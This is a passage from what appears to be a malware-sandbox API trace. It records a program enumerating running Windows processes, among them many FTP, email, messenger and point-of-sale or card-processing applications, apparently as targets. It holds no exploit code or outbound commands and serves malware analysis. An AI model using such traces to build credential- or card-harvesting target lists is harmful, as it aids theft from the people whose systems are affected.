th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0246.535] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x49c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0246.538] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0246.542] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="applyourstrategy.exe")) returned 1 [0246.546] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="task.exe")) returned 1 [0246.581] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="account.exe")) returned 1 [0246.585] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1098, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="shot_hot.exe")) returned 1 [0246.587] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coursesimilararea.exe")) returned 1 [0246.591] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yardbe.exe")) returned 1 [0246.593] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="instead_able_light.exe")) returned 1 [0246.596] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="chance_everybody_employee.exe")) returned 1 [0246.599] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="right-forget.exe")) returned 1 [0246.601] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="source.exe")) returned 1 [0246.604] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="on-walk.exe")) returned 1 [0246.607] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="if-return.exe")) returned 1 [0246.610] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="five_add_too.exe")) returned 1 [0246.612] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="his.exe")) returned 1 [0246.615] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="product_republican_amount.exe")) returned 1 [0246.617] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="green_hard_wind.exe")) returned 1 [0246.621] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1 [0246.623] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="wall_oil.exe")) returned 1 [0246.627] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="stock_decide_improve.exe")) returned 1 [0246.629] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="hundred_marriage.exe")) returned 1 [0246.632] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0246.636] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0246.639] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0246.642] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0246.646] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0246.651] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0246.690] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0246.694] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0246.698] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0246.701] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0246.705] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1204, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0246.708] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x120c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0246.711] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x121c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0246.714] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0246.717] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0246.744] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x123c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0246.748] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0246.750] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0246.753] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1260, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0246.755] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0246.758] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x127c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0246.761] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1284, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0246.763] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0246.766] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x129c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0246.768] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0246.771] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0246.807] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0246.810] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0246.813] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0246.839] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0246.841] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0246.844] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1300, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0246.847] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0246.849] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0246.852] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1320, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0246.856] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0246.859] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0246.863] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1348, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0246.866] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0246.870] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0246.873] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0246.875] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0246.877] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1380, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0246.880] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="sense_understand.exe")) returned 1 [0246.882] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="often-far-on.exe")) returned 1 [0246.884] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0246.887] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x394, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0246.890] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x35c, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0246.893] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x11e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0246.895] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="AA17.exe")) returned 1 [0246.897] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 1 [0246.899] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x13a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="6951.exe")) returned 0 [0246.901] CloseHandle (hObject=0x2198) returned 1 [0246.901] Sleep (dwMilliseconds=0x64) [0246.902] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2198 [0246.914] Process32First (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0246.916] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0246.921] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0246.923] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.926] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0246.928] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0246.930] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0246.932] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0246.933] Process32Next (in: hSnapshot=0x2198, lppe=0x100cfe20 | out: lppe=0x100cfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, 